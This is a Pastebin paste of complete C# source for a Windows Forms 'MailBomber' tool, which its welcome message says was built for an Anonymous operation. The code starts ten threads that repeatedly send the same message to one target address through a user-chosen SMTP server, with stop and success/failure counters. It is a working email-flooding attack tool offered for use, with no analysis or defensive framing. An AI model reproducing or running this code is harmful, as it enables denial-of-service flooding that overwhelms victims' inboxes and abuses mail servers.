Advertisement
Guest User

Untitled

a guest
Sep 8th, 2017
112
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 8.14 KB | None | 0 0
  1. /*
  2. *      Form1.cs    code behind the form
  3. */
  4. using System;
  5. using System.Collections.Generic;
  6. using System.ComponentModel;
  7. using System.Data;
  8. using System.Drawing;
  9. using System.Linq;
  10. using System.Text;
  11. using System.Windows.Forms;
  12.  
  13. namespace MailBomber
  14. {
  15.     public partial class TheForm : Form
  16.     {
  17.         private static Bomber[] bomb;
  18.  
  19.  
  20.         public TheForm()
  21.         {
  22.             InitializeComponent();
  23.         }
  24.  
  25.         private void button1_Click(object sender, EventArgs e)
  26.         {
  27. //            BombTheMail(txtFrom.Text, txtTo.Text, txtSubject.Text, txtBody.Text, txtServer.Text, txtPort.Text, AuthCheckBox.Checked, txtUsername.Text, txtPassword.Text);
  28.  
  29.             if (btnBomb.Text == "Commence Dah Bombing!")
  30.             {
  31.                 StatTimer.Enabled = true;
  32.                 try
  33.                 {
  34.                     if (String.IsNullOrEmpty(txtFrom.Text) || String.Equals(txtFrom.Text, "N O N E !"))
  35.                         throw new Exception("no From address... thats smert!");
  36.                     if (String.IsNullOrEmpty(txtTo.Text) || String.Equals(txtTo.Text, "N O N E !"))
  37.                         throw new Exception("no To address... thats smert!");
  38.                     if (String.IsNullOrEmpty(txtBody.Text) || String.Equals(txtBody.Text, "N O N E !"))
  39.                         throw new Exception("no Body... thats smert!");
  40.                     if (String.IsNullOrEmpty(txtServer.Text) || String.Equals(txtServer.Text, "N O N E !"))
  41.                         throw new Exception("no SMTP server address... thats smert!");
  42.                     if (String.IsNullOrEmpty(txtPort.Text) || String.Equals(txtPort.Text, "N O N E !"))
  43.                         throw new Exception("no Port... thats smert!");
  44.                     if (String.IsNullOrEmpty(txtUsername.Text) || String.Equals(txtUsername.Text, "N O N E !"))
  45.                         throw new Exception("no Username... thats smert!");
  46.                     if (String.IsNullOrEmpty(txtPassword.Text) || String.Equals(txtPassword.Text, "N O N E !"))
  47.                         throw new Exception("no Password... thats smert!");
  48.                 }
  49.                 catch (Exception ex) { MessageBox.Show(ex.Message, "What the shit."); return; }
  50.  
  51.                 btnBomb.Text = "Stop dropping dese Bombs!";
  52.  
  53.                 bomb = new Bomber[10];
  54.                 for (int a = 0; a < bomb.Length; a++)
  55.                 {
  56.                     bomb[a] = new Bomber(txtFrom.Text, txtTo.Text, txtSubject.Text, txtBody.Text, txtServer.Text, txtPort.Text, AuthCheckBox.Checked, txtUsername.Text, txtPassword.Text);
  57.                     bomb[a].Start();
  58.                 }
  59.             }
  60.             else
  61.             {
  62.                 btnBomb.Text = "Commence Dah Bombing!";
  63.                 if (bomb != null)
  64.                 {
  65.                     for (int a = 0; a < bomb.Length; a++)
  66.                     {
  67.                         bomb[a].IsFlooding = false;
  68.                     }
  69.                 }
  70.                 StatTimer.Enabled = false;
  71.             }
  72.             if (StatTimer.Enabled == false)
  73.             {
  74.                 lstError.Hide();
  75.             }
  76.         }
  77.  
  78.         private void AuthCheckBox_CheckedChanged(object sender, EventArgs e)
  79.         {
  80.             if(AuthCheckBox.Checked) {
  81.                 txtUsername.Enabled = true;
  82.                 txtPassword.Enabled = true;
  83.             }
  84.             else if (AuthCheckBox.Checked == false)
  85.             {
  86.                 txtUsername.Enabled = false;
  87.                 txtPassword.Enabled = false;
  88.             }
  89.         }
  90.  
  91.         private void Form1_Load(object sender, EventArgs e)
  92.         {
  93.             AuthCheckBox_CheckedChanged(sender, e);
  94.  
  95.             MessageBox.Show("Just a little MailBomber, made for Operation Titstorm by Anon\n\nUse it wisely", "A Welcome Message");
  96.            
  97.             lstError.Hide();
  98.         }
  99.  
  100.         private void StatTimer_Tick(object sender, EventArgs e)
  101.         {  
  102.             int win = 0;
  103.             int fail = 0;
  104.             int count = 0;
  105.  
  106.             for(int i = 0; i < bomb.Length; i++) {
  107.                 count += bomb[i].FloodCount;
  108.                 win += bomb[i].iWin;
  109.                 fail += bomb[i].iFail;
  110.                 if (!String.IsNullOrEmpty(bomb[i].Error))
  111.                     lstError.Items.Add(bomb[i].Error);
  112.             }
  113.             lblWin.Text = win.ToString();
  114.             lblFail.Text = fail.ToString();
  115.             lblCount.Text = count.ToString();
  116.  
  117.             if (fail > 5)
  118.             {  
  119.                 lstError.Show();
  120.             }
  121.             else
  122.             {
  123.                 lstError.Items.Clear();
  124.                 lstError.Hide();
  125.             }
  126.         }
  127.     }
  128. }
  129.  
  130. /*
  131. *     Bomber.cs   threaded bomber class
  132. */
  133.  
  134. using System;
  135. using System.Net.Sockets;
  136. using System.ComponentModel;
  137. using System.Net.Mail;
  138. using System.Windows.Forms;
  139.  
  140. namespace MailBomber
  141. {
  142.     public class Bomber
  143.     {
  144.         public bool IsFlooding { get; set; }
  145.         public int FloodCount { get; set; }
  146.         public string Data { get; set; }
  147.         public string From { get; set; }
  148.         public string To { get; set; }
  149.         public string Subject { get; set; }
  150.         public string Body { get; set; }
  151.         public string Server { get; set; }
  152.         public string Port { get; set; }
  153.         public bool UseAuth { get; set; }
  154.         public string Username { get; set; }
  155.         public string Password { get; set; }
  156.         public int iWin { get; set; }
  157.         public int iFail { get; set; }
  158.         public string Error { get; set; }
  159.        
  160.         public Bomber(string from, string to, string subject, string body, string server, string port, bool useauth, string username, string password)
  161.         {
  162.             this.From = from;
  163.             this.To = to;
  164.             this.Subject = subject;
  165.             this.Body = body;
  166.             this.Server = server;
  167.             this.Port = port;
  168.             this.UseAuth = useauth;
  169.             this.Username = username;
  170.             this.Password = password;
  171.         }
  172.  
  173.         public void Start()
  174.         {
  175.             IsFlooding = true;
  176.             var bw = new BackgroundWorker();
  177.             bw.DoWork += new DoWorkEventHandler(bw_DoWork);
  178.             bw.RunWorkerAsync();
  179.         }
  180.  
  181.         private void bw_DoWork(object sender, DoWorkEventArgs e)
  182.         {
  183.             try
  184.             {
  185.                 while (IsFlooding)
  186.                 {
  187.                     FloodCount++;
  188.                     BombTheMail(From, To, Subject, Body, Server, Port, UseAuth, Username, Password);
  189.                     System.Threading.Thread.Sleep(100);
  190.                 }
  191.             }
  192.             catch { }
  193.         }
  194.        
  195.         /// <summary>
  196.         /// Method to send mails via Smtp
  197.         /// </summary>
  198.         /// <param name="args[0]">From</param>
  199.         /// <param name="args[1]">To</param>
  200.         /// <param name="args[2]">Subject</param>
  201.         /// <param name="args[3]">Body</param>
  202.         /// <param name="args[4]">Host</param>
  203.         /// <param name="args[5]">Port</param>
  204.         /// <param name="args[6]">User</param>
  205.         /// <param name="args[7]">Password</param>
  206.         public void BombTheMail(string From, string To, string Subject, string Body, string Server, string Port, bool UseAuth, string Username, string Password)
  207.         {
  208.             try
  209.             {
  210.                 // TODO: Add error handling for invalid arguments
  211.  
  212.                 // To
  213.                 MailMessage mailMsg = new MailMessage();
  214.                 mailMsg.To.Add(To);
  215.  
  216.                 // From
  217.                 MailAddress mailAddress = new MailAddress(From);
  218.                 mailMsg.From = mailAddress;
  219.  
  220.                 // Subject and Body
  221.                 mailMsg.Subject = Subject;
  222.                 mailMsg.Body = Body;
  223.  
  224.                 // Init SmtpClient and send
  225.                 SmtpClient smtpClient = new SmtpClient(Server, Convert.ToInt32(Port));
  226.                 if (UseAuth)
  227.                 {
  228.                     System.Net.NetworkCredential credentials = new System.Net.NetworkCredential(Username, Password);
  229.                     smtpClient.Credentials = credentials;
  230.                 }
  231.                 smtpClient.Send(mailMsg);
  232.             }
  233.             catch (Exception ex)
  234.             {
  235.                 //MessageBox.Show(ex.Message);
  236.                 Error = ex.Message;
  237.                 iFail++;
  238.             }
  239.         }
  240.     }
  241. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement